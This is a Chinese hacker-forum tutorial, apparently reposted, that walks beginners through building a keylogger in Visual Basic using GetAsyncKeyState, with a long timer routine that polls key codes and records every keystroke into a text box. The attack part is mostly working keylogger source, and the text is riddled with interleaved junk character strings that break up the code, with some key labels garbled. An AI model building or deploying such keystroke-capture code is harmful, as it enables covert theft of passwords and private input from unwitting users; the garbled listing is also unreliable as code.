手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 % ~5 H! y0 P/ l版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ / R0 O @- a% d. s& J" s这个程序将会详细的讲解如何记载键盘的每一次输入。 ! {5 S3 c4 o: u9 }$ i* f) ]下面介绍的这个程序主要是利用GetAsyncKeyState函数， ( A6 W# w7 r$ @ w* f使用GetAsyncKeyState可以获得键盘的动作。 0 v. m$ @4 U: d; UGetAsyncKeyState函数根据虚拟键表判断按键的类型。 & i$ F* g; m# C w5 N7 M返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 0 e' g3 v) Z+ i8 ?Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer % `, v6 }5 b1 }$ a# j" P3 Y好了，函数就先介绍这么多，下面开始动手实战了 ; z; X9 s' J' p! @; Tfirst,当然是创建窗口了 3 _( `% C! i, |9 H) M) S 8 }7 B( N X8 O5 g* l# T$ @ : Q( V4 ~( e* ^3 |1 {6 R2 s5 d9 P6 \: h3 P 7 |# E8 X7 P, l' O q+ x 在时间控件的Timer时间中定义检查按键类型，代码如下： 5 _* z: G5 ^% o+ d, nDim AddKey 4 H) C9 L$ K" {0 j6 O KeyResult = GetAsyncKeyState(13) '回车键 $ h; m9 ? q8 X9 ~2 ~ If KeyResult = -32767 Then AddKey = "[ENTER]" $ Y8 V" I# `7 Z. N, _" X" l$ V GoTo KeyFound End If / i* J. s2 }5 J! {) ^ KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound - g2 k6 q. d9 v3 z* Y3 S6 h$ q End If ) I/ J5 \% {8 s1 x% l1 h+ X KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then * o' Z( z% l( p7 ]% D4 I AddKey = "[BKSPACE]" GoTo KeyFound End If 5 H- n! T7 K* [0 a + H f5 R l0 @0 J# O KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" " o2 l y- a8 ]4 | GoTo KeyFound / K2 E* t) `( N5 S! I7 v End If ) b( x% N, G m/ q" w9 Z KeyResult = GetAsyncKeyState(18) $ [7 \# U+ w$ r If KeyResult = -32767 Then AddKey = "[ALT]" 5 h: x8 T) `) K8 O; A; y1 ` GoTo KeyFound 4 j! B( B1 a( a# E# N End If ' n' Y8 } J2 w" [. j5 o 0 L+ i8 ^& H' F3 }# @; p KeyResult = GetAsyncKeyState(19) 1 _: K) ]& `& ? If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound End If " G2 A6 n( }: B KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then : y6 `6 h e z { AddKey = "[CAPS]" + ~+ y$ r, \" Q* w j# g4 D GoTo KeyFound ' t7 x$ W6 N: Q* X6 j/ T2 ~4 F# \ End If KeyResult = GetAsyncKeyState(27) ; n4 L5 z# m2 r( ^ If KeyResult = -32767 Then , b5 K0 |: _9 C, h# _2 \ AddKey = "[ESC]" ! T& ?7 m, i; W GoTo KeyFound End If . D; Z% F, j$ M0 [! m# r KeyResult = GetAsyncKeyState(33) 9 o% l* {( u" a. X8 @ [; A+ Q8 u If KeyResult = -32767 Then AddKey = "[PGUP]" , u) ?: [$ k# Y. E- E) E GoTo KeyFound End If 7 X2 L/ |, N6 o# B8 X KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound . t; b! d+ l* o! R2 m End If ; C+ `1 a; a, Q7 n: n KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then + R8 r6 @; x8 t, p* b2 r/ j AddKey = "[END]" $ X: ~. h4 l" y( ^ GoTo KeyFound 9 n% Q. O+ j) c1 o# H# x5 B End If [% j! Y4 {. N5 U0 m, ]) `' u/ o : o; @ ~" h1 E0 m7 L5 W9 H KeyResult = GetAsyncKeyState(36) 5 y0 R+ O2 h+ ~2 U0 v# q If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound End If ' H r. `) \* p7 | KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then ( P7 O, Q; d! ^$ P& t AddKey = "[SYSRQ]" GoTo KeyFound ! @6 c% Q0 Z+ G0 k8 p4 ] h1 O End If , C+ X# q2 Z; n2 a2 c KeyResult = GetAsyncKeyState(45) 1 O. F1 v* K5 T If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If 6 _) W8 C" A) D% L" h+ Y# B5 t ; O3 D: e, I/ y) m" n) N) Z' F KeyResult = GetAsyncKeyState(46) ?/ [1 N4 j' H; ^# z' H If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound 4 G9 [. j3 B7 \. _% K; E+ O End If 8 Q$ j7 F& Q( l4 O( B4 s 1 _, c$ R2 m0 b% S5 m: C7 M KeyResult = GetAsyncKeyState(144) " [! o1 m& f0 I If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound ' A8 ~" N/ t- r# ?: q' S End If + \6 ]! H. S) B# {! i ~ KeyResult = GetAsyncKeyState(37) 9 g% F# G8 z! E& s2 R* Q5 n- A8 v If KeyResult = -32767 Then . c( {: t1 e% j/ q5 |" r AddKey = "

" GoTo KeyFound End If 2 m* F7 e4 J' s y( z9 U% W/ y8 @ \" E% S) f" ]$ Y KeyResult = GetAsyncKeyState(38) - |% a. [ n# J If KeyResult = -32767 Then + P: x( z7 z8 C* i AddKey = "[UP]" GoTo KeyFound End If - P, W/ u w0 Q# T3 ] KeyResult = GetAsyncKeyState(39) ' N6 I/ ^2 y- g, } If KeyResult = -32767 Then C1 F7 }; |7 [; a7 _ AddKey = "

" GoTo KeyFound 7 X9 r0 `5 T$ G P4 s End If 5 ]4 d2 H3 @3 T0 N% e KeyResult = GetAsyncKeyState(40) , M0 D H2 Z } If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound End If - s7 A& D5 r' N! [7 C' R, I KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" 1 C9 F. `/ P1 D6 Q, V GoTo KeyFound ( {# E8 |! _3 J! O1 a( I End If ! ]: n% Z/ s ] KeyResult = GetAsyncKeyState(113) . o% K6 l* M' O# r4 M1 } If KeyResult = -32767 Then AddKey = "[F2]" 7 |( @8 L+ {, E GoTo KeyFound End If & |/ ~% {1 Z7 E' s 1 S4 v& F! }5 u. \! WKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" ' y( F4 T. l, K7 C2 P7 a! y9 ~: B) p- W: W GoTo KeyFound 6 j1 H3 a0 n' w3 ~1 ~0 w/ o End If ) I. Q3 W* B0 i) { ) h+ [# d4 [ b. ~KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" 3 A9 p: ]% x$ G4 N' C* Z1 L GoTo KeyFound 9 u$ N% n4 x, R End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then 9 m q! h1 O; e( `: e AddKey = "[F5]" + V( |$ T) C e& r7 P5 _/ B GoTo KeyFound End If " ^7 f1 W/ l; D: oKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then # F, c; b. j6 l4 M& F9 \: w5 b9 b3 } AddKey = "[F6]" 4 g$ I6 D" n: |9 V3 J GoTo KeyFound End If 8 K/ D! C5 n( o7 { KeyResult = GetAsyncKeyState(118) 5 }3 B }$ m+ k, x If KeyResult = -32767 Then + [4 v) `. A: J- j$ t: `0 J AddKey = "[F7]" GoTo KeyFound End If 9 H+ R/ q9 f5 A 7 Y) f3 h' J' e9 UKeyResult = GetAsyncKeyState(119) 6 A9 M5 ^2 B" C If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound ( O* u, s1 p* k" o End If ! h, Y; z% U3 T / C$ i* L# D- A! q6 o2 w+ tKeyResult = GetAsyncKeyState(120) $ \& a. x ]+ ?1 D( @: r If KeyResult = -32767 Then # \% J% T3 z) I" m8 ` AddKey = "[F9]" 5 S/ Z. F& t, l) K) D0 \$ ^ GoTo KeyFound End If t" r- a3 t6 N* r4 h 5 @6 O2 z& `4 R* ]KeyResult = GetAsyncKeyState(121) 3 Q8 K( F7 i8 Q) L& P& X If KeyResult = -32767 Then : d! A! K9 L z. F- y$ V9 K2 V AddKey = "[F10]" ' k0 D- X5 o5 L6 i1 Y; A GoTo KeyFound ( h# C- K4 j" I End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) 4 N! W2 g% o, }$ r% G/ g If KeyResult = -32767 Then AddKey = "[F12]" : o! D. M5 N# n8 m( b GoTo KeyFound End If KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound - V" ]" c+ f3 ~3 u5 @$ Q! R End If 1 n. ?6 b0 ^1 J) H8 i 1 ]# {8 ~( S3 a4 iKeyResult = GetAsyncKeyState(125) 0 J: K- B# g" X5 ~' z8 k If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound " n0 |5 A% ~- q% `/ ]% d3 B9 L3 w End If 0 y- K2 D; F& N N2 P! N KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then ( S( v& p# S( }3 w. m AddKey = "[F15]" & G9 o0 d% L! T3 T* U [: a% V* N GoTo KeyFound End If : c' n' w1 W; |# F8 u* _, N3 h. _/ l KeyResult = GetAsyncKeyState(127) ( h: i$ U; p* Q& o3 W If KeyResult = -32767 Then AddKey = "[F16]" 5 b8 |- G- [) D* u3 W GoTo KeyFound 5 i$ Y; o9 q" G End If ' d7 a! V7 k8 b4 E U4 M) T! ] % S% m+ p+ g3 C' a, J5 V" H3 {KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " GoTo KeyFound End If # ^& V% K0 K# Q/ b; T, z$ _ 8 _$ c5 S; s8 y8 l3 s/ ]KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound + D- x- v4 X5 z. X z End If ! `( l( k, D& U5 f" M. U/ U/ G& x KeyResult = GetAsyncKeyState(187) ' w4 v( g% n3 c/ I" _/ ` If KeyResult = -32767 Then AddKey = "=" & N, N9 F! H; S/ s- D8 l# p' J GoTo KeyFound End If ' ?8 A0 y4 E7 x" [KeyResult = GetAsyncKeyState(188) 9 o" M; \3 F) O# U If KeyResult = -32767 Then ! E3 o; }: M4 {7 c AddKey = "," , E: N0 V: i9 x GoTo KeyFound ; \) K1 l" S2 S7 \7 v6 n End If 2 h7 B* A: k5 X$ |0 f w KeyResult = GetAsyncKeyState(189) , M1 c0 Y7 s6 I- u' H$ M If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If l' w2 `8 }- r7 OKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then 8 Z/ T- E6 @: ^: B4 S. L AddKey = "." GoTo KeyFound " u+ J( f- _8 H7 A" H) w' s End If KeyResult = GetAsyncKeyState(191) + _* s2 M" x' A i3 c8 Q( } If KeyResult = -32767 Then AddKey = "/" '/ , j) k7 ~0 r% u7 ` GoTo KeyFound " ^" p/ H* L. f- \& r End If KeyResult = GetAsyncKeyState(192) ( W6 ~3 F' d" @ If KeyResult = -32767 Then " ]6 j" g5 w. Y2 p, h; r7 _8 s1 y AddKey = "`" '` GoTo KeyFound End If 8 f' T/ \* d7 f" { ; i/ O8 s& e3 E- Z. K9 u+ C0 f 3 f' c0 R3 U) |- e3 `'----------NUM PAD KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then ) v. c- V' [2 G" F, z+ X H+ R AddKey = "0" GoTo KeyFound " u/ U+ Y, `. Z& S& ?+ [ End If 4 x6 C" I' C: X3 s. m- o; _7 y- I1 A KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then AddKey = "1" GoTo KeyFound End If " p# G( i* T% V # _* h1 A {( YKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" 6 U3 D/ s; o7 M1 K GoTo KeyFound 4 H! e1 \$ b' V End If t$ i. E1 H; u* e! p3 ?3 y& m, T KeyResult = GetAsyncKeyState(99) 8 D& k3 m& |8 g) g/ T8 p M If KeyResult = -32767 Then + p% a1 H# \% B+ _! q AddKey = "3" GoTo KeyFound End If ! S+ Y& N* }0 m ( H" c! i" K) x* c; ?- O6 uKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" 4 m+ U& e+ A; o3 c _4 A. o GoTo KeyFound End If + ?2 k R, g+ |; s7 H6 |* B $ s7 n" x8 C6 ?4 UKeyResult = GetAsyncKeyState(101) 1 x! ?: t4 q$ _, y, T0 C4 K) ~ If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound - m) k& Y g. D End If " \: y3 n8 q C0 I5 c4 W/ I # i( x d* r% b3 Z+ |; j/ DKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then - Q8 F- }. o0 R, q/ B. { AddKey = "6" 2 F9 c# _+ d5 i) G- S9 a2 | GoTo KeyFound : T* {4 E2 B, I2 X7 o: n End If & l5 T; ?/ H! }. f KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then 0 h& H( I1 u8 O6 e. s' I AddKey = "7" GoTo KeyFound End If : B( ?/ S) {, f) |' o2 M KeyResult = GetAsyncKeyState(104) 8 I5 ]$ a" B- S! S, } If KeyResult = -32767 Then * E4 i; `9 R+ M+ e. b7 K& j AddKey = "8" - R, e0 `2 X) \! w GoTo KeyFound End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound 6 W+ c9 R, J9 Y; s End If L/ Z0 c9 N8 j3 d / y+ X" Y+ e) o/ CKeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then 1 a6 ]* A$ w! A7 b$ u }' ? AddKey = "*" GoTo KeyFound End If / A8 X6 _! \- _9 n. uKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then ~2 L" M8 n/ v' Z; F AddKey = "+" 5 F4 U) l; r5 Z0 a! g GoTo KeyFound 0 u/ _+ M6 A* ] ?5 ~& X1 n& Y End If " R3 a J1 s' ]7 H KeyResult = GetAsyncKeyState(108) , q8 c4 J/ M: v( j2 i( c6 g* u If KeyResult = -32767 Then AddKey = "[ENTER]" 7 u3 e5 E) Q! x5 J3 `0 V0 T7 _ GoTo KeyFound * V( a+ l" W; O; w) y8 u e End If 9 ^5 o! g6 A9 A& l7 d9 ] KeyResult = GetAsyncKeyState(109) Y, z1 d0 V" W+ `: ^- j. I* ^. Y If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If 6 m6 ^+ e( V& R/ J6 h/ V KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then $ e$ b5 A; z1 |7 ? AddKey = "." + g' k6 e# `8 j8 r GoTo KeyFound End If KeyResult = GetAsyncKeyState(2) 6 C; ]. g' P. b# n( J( } If KeyResult = -32767 Then AddKey = "/" + Z* j% V% _3 q- b GoTo KeyFound End If 4 A/ d: w& v; h5 _7 R4 y ! ?* v: A* M- d: o' ?% @% TKeyResult = GetAsyncKeyState(220) % @5 X; W) T0 } If KeyResult = -32767 Then ) N* ]' K+ v% Y8 t; y( E AddKey = "\" GoTo KeyFound / q' { M' Q& K3 S( J7 s End If " L! A. P" w& RKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then 7 C/ k, P6 A& h* C5 D X. H AddKey = "'" GoTo KeyFound End If 4 V( s* Q: l* p5 R KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then % }' B/ D$ b5 P4 p AddKey = "]" / ^- p) O9 v2 V9 x! M+ ^& E GoTo KeyFound End If & g5 z4 Q& D3 s# Z* n KeyResult = GetAsyncKeyState(219) " o5 b3 }& c+ j! I: \9 w, Q If KeyResult = -32767 Then AddKey = "[" 5 \, Z ~0 e0 i+ k8 x GoTo KeyFound 1 Q5 x6 a! {+ u- F) M/ u+ I End If 7 A5 v5 @/ d/ H) r, d+ `% O . b- l. y, `1 B& fKeyResult = GetAsyncKeyState(16) 'shift键 ' Z1 h* M% a( S If KeyResult = -32767 And TimeOut = 0 Then " J) S" R0 C* e6 p6 f2 _0 G0 H AddKey = "[SHIFT]" 0 r' F n2 j- i LastKey = AddKey TimeOut = 1 & g6 M# b @% V& O" l GoTo KeyFound 2 ]% n! ]* F- s; S. G2 S* C/ W1 Q) ^ End If KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) 7 Y5 h2 x5 ]( }/ [ y; ` If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 4 L, \4 f7 K/ Q; m/ h KeyLoop = KeyLoop + 1 4 {7 f7 s' s7 h5 y2 `+ X Loop ' `" G; B/ M. v4 p9 {9 a$ U LastKey = AddKey , B1 p9 P- i' y7 S4 G8 n% \# L' C Exit Sub * _, V: f( z ]4 B P3 [- vKeyFound: '显示键的信息 & n( {# @4 K! [2 TText1 = Text1 & AddKey End Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… % Q0 |) S' z- F7 T' r# L由于数目太多，一一列举不方便 . P6 n( L0 p, z/ L# L5 C- R* o; P, v2 S现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm + q; T. p3 g" J& g下面是其他的事件 9 L: B+ y( F" W" |" X' o& W6 z& NPrivate Sub Timer2_Timer() + K8 k3 U+ i( S' C+ uTimeOut = 0 : ~4 l$ V% E0 ?& ^, yEnd Sub 目的是随时刷新清空